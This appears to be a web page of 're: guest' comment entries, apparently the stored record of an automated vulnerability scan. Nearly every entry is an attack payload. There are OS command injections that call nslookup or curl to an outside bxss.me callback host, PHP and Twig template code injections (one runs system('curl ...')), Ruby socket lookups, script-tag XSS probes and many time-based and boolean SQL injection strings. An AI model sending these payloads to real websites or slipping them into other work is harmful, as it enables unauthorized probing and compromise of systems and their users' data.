&(nslookup -q=cname hitklapzorbff2b711.bxss.me||curl hitklapzorbff2b711.bxss.me)&'\"`0&(nslookup -q=cname hitklapzorbff2b711.bxss.me||curl hitklapzorbff2b711.bxss.me)&`'
re: guest
|(nslookup -q=cname hithvfnvebsbn35f7b.bxss.me||curl hithvfnvebsbn35f7b.bxss.me)
re: guest
`(nslookup -q=cname hityzspmutpsm8044f.bxss.me||curl hityzspmutpsm8044f.bxss.me)`
re: guest
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: guest
'"()
re: guest
;(nslookup -q=cname hitociuzojkjob26a7.bxss.me||curl hitociuzojkjob26a7.bxss.me)|(nslookup -q=cname hitociuzojkjob26a7.bxss.me||curl hitociuzojkjob26a7.bxss.me)&(nslookup -q=cname hitociuzojkjob26a7.bxss.me||curl hitociuzojkjob26a7.bxss.me)
re: guest
';print(md5(31337));$a='
re: guest
'&&sleep(27*1000)*mqnyat&&'
re: guest
|(nslookup${IFS}-q${IFS}cname${IFS}hitznxbhjqggza577f.bxss.me||curl${IFS}hitznxbhjqggza577f.bxss.me)
re: guest
";print(md5(31337));$a="
re: guest
"&&sleep(27*1000)*yqdmri&&"
re: guest
&(nslookup${IFS}-q${IFS}cname${IFS}hitcsixzkdbdu1df60.bxss.me||curl${IFS}hitcsixzkdbdu1df60.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitcsixzkdbdu1df60.bxss.me||curl${IFS}hitcsixzkdbdu1df60.bxss.me)&`'
re: guest
${@print(md5(31337))}
re: guest
'||sleep(27*1000)*tahuhj||'
re: guest
${@print(md5(31337))}\
re: guest
"||sleep(27*1000)*vpllhv||"
re: guest
'.print(md5(31337)).'
re: guest
HttP://bxss.me/t/xss.html?%00
re: guest
bxss.me/t/xss.html?%00
re: guest
"+"A".concat(70-3).concat(22*4).concat(108).concat(75).concat(101).concat(70)+(require"socket"
Socket.gethostbyname("hitoc"+"sfoaypekb55ad.bxss.me.")[3].to_s)+"
re: guest
replies
re: guest
'+'A'.concat(70-3).concat(22*4).concat(103).concat(72).concat(113).concat(70)+(require'socket'
Socket.gethostbyname('hitmr'+'mtiwdrkp2dadd.bxss.me.')[3].to_s)+'
re: guest
replies
re: guest
'A'.concat(70-3).concat(22*4).concat(108).concat(69).concat(105).concat(88)+(require'socket'
Socket.gethostbyname('hitkr'+'jegngfag62f41.bxss.me.')[3].to_s)
re: guest
replies/.
re: guest
'"
re: guest
<!--
re: guest
'"()&%<zzz><ScRiPt >1prg(9385)</ScRiPt>
re: guest
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitogbdcbvyjsbea41.bxss.me")}}
re: guest
'"()&%<zzz><ScRiPt >1prg(9834)</ScRiPt>
re: guest
9072190
re: guest
YbsryCVm
re: guest
*1
re: guest
*1
re: guest
*1
re: guest
*1
re: guest
-1 OR 5*5=25 --
re: guest
-1 OR 5*5=26 --
re: guest
-1 OR 5*5=25
re: guest
-1 OR 5*5=26
re: guest
*if(now()=sysdate(),sleep(15),0)
re: guest
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: guest
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: guest
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: guest
-1; waitfor delay '0:0:15' --
re: guest
-1); waitfor delay '0:0:15' --
re: guest
-1 waitfor delay '0:0:15' --
re: guest
Bt02vmTB'; waitfor delay '0:0:15' --
re: guest
-1 OR 981=(SELECT 981 FROM PG_SLEEP(15))--
re: guest
-1) OR 458=(SELECT 458 FROM PG_SLEEP(15))--
re: guest
-1)) OR 696=(SELECT 696 FROM PG_SLEEP(15))--
re: guest
gAryZ0Sr' OR 123=(SELECT 123 FROM PG_SLEEP(15))--
re: guest
KkxQ8G8V') OR 445=(SELECT 445 FROM PG_SLEEP(15))--
re: guest
uFeBoWCD')) OR 300=(SELECT 300 FROM PG_SLEEP(15))--
re: guest
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: guest
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: guest
'||(select 1 from (select pg_sleep(15))x)||'
re: guest
''||(select 1 from (select pg_sleep(15))x)||''
re: guest
'"
re: guest
@@glN0c
re: guest
(select 198766*667891)
re: guest
(select 198766*667891 from DUAL)
re: guest
hf4y7x7X
re: guest
*1
re: guest
*1
re: guest
*1
re: guest
*1
re: guest
-1 OR 5*5=25 --
re: guest
-1 OR 5*5=26 --
re: guest
-1 OR 5*5=25
re: guest
-1 OR 5*5=26
re: guest
*if(now()=sysdate(),sleep(15),0)
re: guest
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: guest
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: guest
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: guest
-1; waitfor delay '0:0:15' --
re: guest
-1); waitfor delay '0:0:15' --
re: guest
-1 waitfor delay '0:0:15' --
re: guest
gLf3bhiw'; waitfor delay '0:0:15' --
re: guest
-1 OR 145=(SELECT 145 FROM PG_SLEEP(15))--
re: guest
-1) OR 871=(SELECT 871 FROM PG_SLEEP(15))--
re: guest
-1)) OR 511=(SELECT 511 FROM PG_SLEEP(15))--
re: guest
6a0ETBYa' OR 424=(SELECT 424 FROM PG_SLEEP(15))--
re: guest
XnpCiKYD') OR 170=(SELECT 170 FROM PG_SLEEP(15))--
re: guest
H5zoBOOI')) OR 954=(SELECT 954 FROM PG_SLEEP(15))--
re: guest
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: guest
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: guest
'||(select 1 from (select pg_sleep(15))x)||'
re: guest
''||(select 1 from (select pg_sleep(15))x)||''
re: guest
'"
re: guest
@@gYXZ7
re: guest
(select 198766*667891)
re: guest
(select 198766*667891 from DUAL)
re: guest
2TL5gYog
re: guest
1*
re: guest
1*
re: guest
1*
re: guest
1*
re: guest
-1 OR 2+88-88-1=0+0+0+1
re: guest
-1 OR 3+88-88-1=0+0+0+1
re: guest
if(now()=sysdate(),sleep(15),0)
re: guest
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: guest
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: guest
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: guest
-1; waitfor delay '0:0:15' --
re: guest
-1); waitfor delay '0:0:15' --
re: guest
1 waitfor delay '0:0:15' --
re: guest
8KkEQzJz'; waitfor delay '0:0:15' --
re: guest
-5 OR 616=(SELECT 616 FROM PG_SLEEP(15))--
re: guest
-5) OR 697=(SELECT 697 FROM PG_SLEEP(15))--
re: guest
-1)) OR 493=(SELECT 493 FROM PG_SLEEP(15))--
re: guest
nLEGWlJK' OR 875=(SELECT 875 FROM PG_SLEEP(15))--
re: guest
yVChFfGZ') OR 514=(SELECT 514 FROM PG_SLEEP(15))--
re: guest
lXmSyZKQ')) OR 802=(SELECT 802 FROM PG_SLEEP(15))--
re: guest
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: guest
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: guest
'||(select 1 from (select pg_sleep(15))x)||'
re: guest
''||(select 1 from (select pg_sleep(15))x)||''
re: guest
1'"
re: guest
@@FIDfD